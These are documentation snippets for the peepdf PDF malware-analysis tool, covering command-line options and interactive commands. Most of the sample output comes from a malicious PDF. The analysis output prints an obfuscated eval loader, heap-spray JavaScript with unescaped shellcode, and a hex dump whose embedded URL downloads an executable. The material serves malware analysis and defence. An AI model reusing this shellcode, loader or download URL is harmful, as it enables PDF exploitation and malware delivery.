### Execute Peepdf Tool

Source: https://eternal-todo.com/tools/peepdf-pdf-analysis-tool

Basic syntax for running the Peepdf tool on a PDF file. This is the primary way to initiate a PDF analysis.

```bash
$ ./peepdf.py pdf_file
```

--------------------------------

### peepdf Interactive Help

Source: https://eternal-todo.com/tools/peepdf-pdf-analysis-tool

Displays the available commands within peepdf's interactive console. Type 'help <command>' for more details on each command.

```bash
PPDF> help  

Documented commands (type help <topic>):  
========================================  
bytes           errors       js_eval           open          sctest      
changelog       exit         js_join           quit          search      
create          filters      js_unescape       rawobject     set         
decode          hash         log               rawstream     show        
decrypt         help         malformed_output  references    stream      
embed           info         metadata          replace       tree        
encode          js_analyse   modify            reset         vtcheck     
encode_strings  js_beautify  object            save          xor         
encrypt         js_code      offsets           save_version  xor_search  
```

--------------------------------

### peepdf Command-Line Usage

Source: https://eternal-todo.com/tools/peepdf-pdf-analysis-tool

This shows the available command-line options for running peepdf. Use options like -i for interactive mode or -s to load a script file.

```bash
Usage: ./peepdf.py [options] PDF_file  

Options:  
  -h, --help            show this help message and exit  
  -i, --interactive     Sets console mode.  
  -s SCRIPTFILE, --load-script=SCRIPTFILE  
                        Loads the commands stored in the specified file and  
                        execute them.  
  -c, --check-vt        Checks the hash of the PDF file on VirusTotal.  
  -f, --force-mode      Sets force parsing mode to ignore errors.  
  -l, --loose-mode      Sets loose parsing mode to catch malformed objects.  
  -m, --manual-analysis  
                        Avoids automatic Javascript analysis. Useful with  
                        eternal loops like heap spraying.  
  -u, --update          Updates peepdf with the latest files from the  
                        repository.  
  -g, --grinch-mode     Avoids colorized output in the interactive console.  
  -v, --version         Shows program's version number.  
  -x, --xml             Shows the document information in XML format.  
```

```bash
$ ./peepdf.py -i  
```

--------------------------------

### CLI Execution

Source: https://eternal-todo.com/tools/peepdf-pdf-analysis-tool

Basic command-line usage to analyze a PDF file.

```APIDOC
## CLI Execution

### Description
Executes the peepdf tool on a specified PDF file to perform initial analysis.

### Method
CLI Command

### Parameters
#### Path Parameters
- **pdf_file** (string) - Required - The path to the PDF file to be analyzed.

#### Query Parameters
- **-f** (flag) - Optional - Force the tool to ignore errors during parsing.
- **-i** (flag) - Optional - Launch the interactive console for further exploration.

### Request Example
$ ./peepdf.py -f fcexploit.pdf
```

--------------------------------

### Peepdf Interactive Tree Command

Source: https://eternal-todo.com/tools/peepdf-pdf-analysis-tool

Use the 'tree' command in the interactive console to display the logical structure of the PDF file. This helps visualize the hierarchy of objects.

```text
PPDF> tree

/Catalog (1)
	/Fields (5)
	array (2)
	/JavaScript (7)
		/Names (10)
			/Action /JavaScript (12)
				stream (13)
	/Pages (4)
		/Page (9)
			/Pages (4)
			stream (11)
			/ProcSet (8)
		/ProcSet (8)
	/Outlines (3)
	dictionary (6)
/Info (14)
```

--------------------------------

### Peepdf Interactive Metadata Command

Source: https://eternal-todo.com/tools/peepdf-pdf-analysis-tool

Use the 'metadata' command in the interactive console to view the metadata information stored within each version of the PDF document.

```text
PPDF> metadata

Info Object in version 0:

/Title
/ModDate 2008312053854
/CreationDate 2008312053854
/Producer Scribus PDF Library 1.3.3.12
/Trapped /False
/Creator Scribus 1.3.3.12
/Keywords
/Author
```

--------------------------------

### Peepdf Interactive Offsets Command

Source: https://eternal-todo.com/tools/peepdf-pdf-analysis-tool

Use the 'offsets' command in the interactive console to view the physical structure of the PDF file, showing the byte offsets of objects and sections.

```text
PPDF> offsets

       0 Header
      17
        Object  1 (260)
     276
     279
        Object  2 (19)
     297
     300
        Object  3 (48)
     347
     350
        Object  4 (78)
     427
     430
        Object  5 (33)
     462
     465
        Object  6 (21)
     485
     488
        Object  7 (41)
     528
     531
        Object  8 (68)
     598
     601
        Object  9 (187)
     787
     790
        Object  10 (52)
     841
     844
        Object  11 (85)
     928
     931
        Object  12 (50)
     980
     983
        Object  13 (1823)
    2805
    2808
        Object  14 (204)
    3011
    3014
        Xref Section (325)
    3338
    3341
        Trailer (69)
    3409
    3410 EOF
```

--------------------------------

### Interactive Console Commands

Source: https://eternal-todo.com/tools/peepdf-pdf-analysis-tool

Commands available within the peepdf interactive console for detailed PDF inspection.

```APIDOC
## Interactive Console Commands

### Description
Commands used within the PPDF interactive shell to inspect the internal structure of the loaded PDF.

### Commands
- **tree**: Displays the logical structure of the PDF file.
- **offsets**: Displays the physical structure and object offsets.
- **metadata**: Shows metadata information for each version of the document.
- **object [id]**: Shows the content of an object after the decoding process.
- **rawobject [id]**: Shows the content of an object without decoding.
- **stream [id]**: Shows the content of a stream after decoding.
- **rawstream [id]**: Shows the content of a stream without decoding.

### Example
PPDF> tree
PPDF> object 1
```

--------------------------------

### View Raw Object Data in peepdf

Source: https://eternal-todo.com/tools/peepdf-pdf-analysis-tool

The 'rawobject' command displays the complete, unparsed content of a specified PDF object. Useful for detailed inspection of object structure and data.

```shell
PPDF> rawobject 10
```

```pdf
10 0 obj
<</Names [(New_Script) 12 0 R]
>>
endobj
```

--------------------------------

### Peepdf Interactive Rawobject Command

Source: https://eternal-todo.com/tools/peepdf-pdf-analysis-tool

Use the 'rawobject' command in the interactive console to view the raw, undecoded content of a specific PDF object. This is useful for examining the exact byte representation.

```text
PPDF> rawobject 1

1 0 obj
<< /#41#63#72#6f#46#6f#72#6d 5 0 R
/#54#68#72#65#61#64#73 2 0 R
/#56#69#65#77#65#72#50#72#65#66#65#72#65#6e#63#65#73  << /#50#61#67#65#44#69#72#65#63#74#69#6f#6e /#4c#32#52 >>
/#4f#70#65#6e#41#63#74#69#6f#6e << /#53 /#4a#61#76#61#53#63#72#69#70#74
/#4a#53 (this.uSQXcfcd2() >>
/#50#61#67#65#73 4 0 R
/#4f#75#74#6c#69#6e#65#73 3 0 R
/#54#79#70#65 /#43#61#74#61#6c#6f#67
/#50#61#67#65#4c#61#79#6f#75#74 /#53#69#6e#67#6c#65#50#61#67#65
/#44#65#73#74#73 6 0 R
/#4e#61#6d#65#73 7 0 R >>
endobj
```

--------------------------------

### Peepdf Interactive Object Command

Source: https://eternal-todo.com/tools/peepdf-pdf-analysis-tool

Use the 'object' command in the interactive console to view the content of a specific PDF object after it has been decoded. This command requires the object number as an argument.

```text
PPDF> object 1

/AcroForm 5 0 R
/Threads 2 0 R
/Names 7 0 R
/OpenAction <</S /JavaScript
/JS (this.uSQXcfcd2())>>
/Pages 4 0 R
/Outlines 3 0 R
/Type /Catalog
/PageLayout /SinglePage
/Dests 6 0 R
/ViewerPreferences <</PageDirection /L2R>>
```

--------------------------------

### Peepdf Interactive Rawstream Command

Source: https://eternal-todo.com/tools/peepdf-pdf-analysis-tool

Use the 'rawstream' command in the interactive console to view the raw, undecoded byte content of a specific stream object. This is useful for examining the stream's original data.

```text
PPDF> rawstream 13

78 9c 95 58 5b 4f dd 46 10 fe 2b 11 4f 1c 25 8a   |x..X[O.F..+.O.%.|
	ec d9 8b 6d 51 1e 7c 39 6b fb b9 bf 80 a6 40 a2   |...mQ.|9k.....@.|
```

--------------------------------

### Find References to an Object in peepdf

Source: https://eternal-todo.com/tools/peepdf-pdf-analysis-tool

Use the 'references to' command to discover where a specific object is referenced within the PDF. This helps in tracing object dependencies.

```shell
PPDF> references to 12
```

--------------------------------

### Peepdf Interactive Stream Command

Source: https://eternal-todo.com/tools/peepdf-pdf-analysis-tool

Use the 'stream' command in the interactive console to view the decoded content of a specific stream object. This command requires the stream object number.

```text
PPDF> stream 13

function nofaq(lgc){var ppwsd="";for(rxr=0;rxr<lgc.length;rxr+=2){ppwsd+=(String.fromCharCode(parseInt(lgc.substr(rxr,5),19)));}eval(ppwsd);}nofaq("0D0A6452601D6 24C2B445F493F671D341D5F56651D38606052672223320D0A57635F54625A5G5F1D5D46494B3A223C2H30673 9261D42446438644523690D0A1D1D65595A5D561D223C2H306739285D565F5862591D241D2C1D331D4244643 8644523690D0A1D1D1D1D3C2H3067391D25341D3C2H306739320D0A1D1D6B0D0A1D1D3C2H3067391D341D3C2 H306739286163536162605A5F58222A261D4244643864451D291D2C23320D0A1D1D60566263605F1D3C2H306 739320D0A6B0D0A57635F54625A5G5F1D4D4A4D5G594E485522533956493F5823690D0A6452601D424840642 H39441D341D2A662A542A542A542A54320D0A1D1D1D1D1D1D605H5A574A58571D341D635F566154525H56221 F1I632E2D2E2D1I632E2D2E2D1I632A5756531I632D2D2F531I632G2G54301I632I2A53301I632I2A2A2B1I6 356572D2D1F1D250D0A1F1I63562C2E2D1I63565357521I63562I2A2F1I63575756541I63575757571I632I5 32H571I6355572E561I63565756571I632G2E56571I63562D52571I6330572G2E1I632E26161 ...        
```

--------------------------------

### Find References within an Object in peepdf

Source: https://eternal-todo.com/tools/peepdf-pdf-analysis-tool

Use the 'references in' command to list all objects that are referenced by a given object. This is the inverse of 'references to'.

```shell
PPDF> references in 12
```

```text
['13 0 R']
```

--------------------------------

### Peepdf Default Output

Source: https://eternal-todo.com/tools/peepdf-pdf-analysis-tool

The default output when running Peepdf on a PDF file, providing a summary of the file's properties and structure. This output is generated without specific interactive commands.

```text
File: fcexploit.pdf
MD5: 659cf4c6baa87b082227540047538c2a
SHA1: a93bf00077e761152d4ff8a695c423d14c9a66c9
Size: 25169 bytes
Version: 1.3
Binary: True
Linearized: False
Encrypted: False
Updates: 0
Objects: 18
Streams: 5
Comments: 0
Errors: 1

Version 0:
	Catalog: 27
	Info: 11
	Objects (18): [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 22, 23, 24, 25, 26, 27, 28]
		Errors (2): [11, 25]
	Streams (5): [5, 7, 9, 10, 11]
		Encoded (4): [5, 7, 9, 10]
	Objects with JS code (1): [5]
	Suspicious elements:
		/OpenAction: [1]
		/JS: [4]
		/JavaScript: [4]
		getAnnots (CVE-2009-1492): [5]
```

--------------------------------

### Analyze JavaScript Code in PDF Objects

Source: https://eternal-todo.com/tools/peepdf-pdf-analysis-tool

The 'js_analyse' command, when used with 'object', extracts and analyzes JavaScript code embedded within a PDF object. Requires PyV8.

```shell
PPDF> js_analyse object 13
```

```javascript
var tX1PnUHy = new Array();
function lRUWC(E79yB, NPvAvQ){
  while (E79yB.length * 2 < NPvAvQ){
    E79yB += E79yB;
  }
  E79yB = E79yB.substring(0, NPvAvQ / 2);
  return E79yB;
}
function YVYohZTd(bBeUHg){
var NTLv7BP = 0x0c0c0c0c;
rpifVgf = unescape("%u4343%u4343%u0feb%u335b%u66c9%u80b9%u8001%uef33"
+ "%ue243%uebfa%ue805%uffec%uffff%u8b7f%udf4e%uefef%u64ef%ue3af%u9f64%u42f3%u9f64"+ "%u6ee7%uef03%uefeb%u64ef%ub903%u6187%ue1a1%u0703%uef11%uefef%uaa66%ub9eb%u7787"+ "%u6511%u07e1%uef1f%uefef%uaa66%ub9e7%uca87%u105f%u072d%uef0d%uefef%uaa66%ub9e3"+ "%u0087%u0f21%u078f%uef3b%uefef%uaa66%ub9ff%u2e87%u0a96"
+ "%u0757%uef29%uefef%uaa66%uaffb%ud76f%u9a2c%u6615%uf7aa%ue806%uefee%ub1ef%u9a66"+ "%u64cb%uebaa%uee85%u64b6%uf7ba%u07b9%uef64%uefef%u87bf%uf5d9%u9fc0%u7807%uefef"+ "%u66ef%uf3aa%u2a64%u2f6c%u66bf%ucfaa%u1087%uefef%ubfef%uaa64%u85fb%ub6ed%uba64"+ "%u07f7%uef8e%uefef%uaaec%u28cf%ub3ef%uc191%u288a%uebaf..."
)

```

```text
Unescaped bytes:
43 43 43 43 eb 0f 5b 33 c9 66 b9 80 01 80 33 ef   |CCCC..[3.f....3.|
43 e2 fa eb 05 e8 ec ff ff ff 7f 8b 4e df ef ef   |C..........N...|
ef 64 af e3 64 9f f3 42 64 9f e7 6e 03 ef eb ef   |.d..d..Bd..n....|
ef 64 03 b9 87 61 a1 e1 03 07 11 ef ef ef 66 aa   |.d...a........f.|
eb b9 87 77 11 65 e1 07 1f ef ef ef 66 aa e7 b9   |...w.e......f...|
87 ca 5f 10 2d 07 0d ef ef ef 66 aa e3 b9 87 00   |.._.-.....f.....|
21 0f 8f 07 3b ef ef ef 66 aa ff b9 87 2e 96 0a   |!...;...f.......|
57 07 29 ef ef ef 66 aa fb af 6f d7 2c 9a 15 66   |W.)...f...o.,..f|
aa f7 06 e8 ee ef ef b1 66 9a cb 64 aa eb 85 ee   |........f..d....|
b6 64 ba f7 b9 07 64 ef ef ef bf 87 d9 f5 c0 9f   |.d....d.........|
07 78 ef ef ef 66 aa f3 64 2a 6c 2f bf 66 aa cf   |.x...f..d*l/.f..|
87 10 ef ef ef bf 64 aa fb 85 ed b6 64 ba f7 07   |......d.....d...|
8e ef ef ef ec aa cf 28 ef b3 91 c1 8a 28 af eb   |.......(.....(..|
97 8a ef ef 10 9a cf 64 aa e3 85 ee b6 64 ba f7   |.......d.....d..|
07 af ef ef ef 85 e8 b7 ec aa cb dc 34 bc bc 10   |............4...|
9a cf bf bc 64 aa f3 85 ea b6 64 ba f7 07 cc ef   |....d.....d.....|
ef ef 85 ef 10 9a cf 64 aa e7 85 ed b6 64 ba f7   |.......d.....d..|
07 ff ef ef ef 85 10 64 aa ff 85 ee b6 64 ba f7   |.......d.....d..|
07 ef ef ef ef ae b4 bd ec 0e ec 0e ec 0e ec 0e   |................|
l 03 eb b5 bc 64 35 0d 18 bd 10 0f ba 64 03 64   |l....d5......d.d|
92 e7 64 b2 e3 b9 64 9c d3 64 9b f1 97 ec 1c b9   |..d...d..d......|
64 99 cf ec 1c dc 26 a6 ae 42 ec 2c b9 dc 19 e0   |d.....&..B.,....|
51 ff d5 1d 9b e7 2e 21 e2 ec 1d af 04 1e d4 11   |Q......!........|
b1 9a 0a b5 64 04 64 b5 cb ec 32 89 64 e3 a4 64   |....d.d...2.d..d|
b5 f3 ec 32 64 eb 64 ec 2a b1 b2 2d e7 ef 07 1b   |...2d.d.*..-....|
11 10 10 ba bd a3 a2 a0 a1 ef 68 74 74 70 3a 2f   |..........http:/
2f 62 69 6b 70 61 6b 6f 63 2e 63 6e 2f 6e 75 63   |/bikpakoc.cn/nuc|
2f 65 78 65 2e 70 68 70                           |/exe.php|
```

```text
URLs in shellcode:
	http://bikpakoc.cn/nuc/exe.php
```

--------------------------------

### Force Peepdf to Ignore Errors

Source: https://eternal-todo.com/tools/peepdf-pdf-analysis-tool

Use the -f option to force the tool to ignore errors during PDF parsing. This is useful for analyzing corrupted or malformed PDF files.

```bash
$ ./peepdf.py fcexploit.pdf
```

```bash
$ ./peepdf.py -f fcexploit.pdf
```

=== COMPLETE CONTENT === This response contains all available snippets from this library. No additional content exists. Do not make further requests.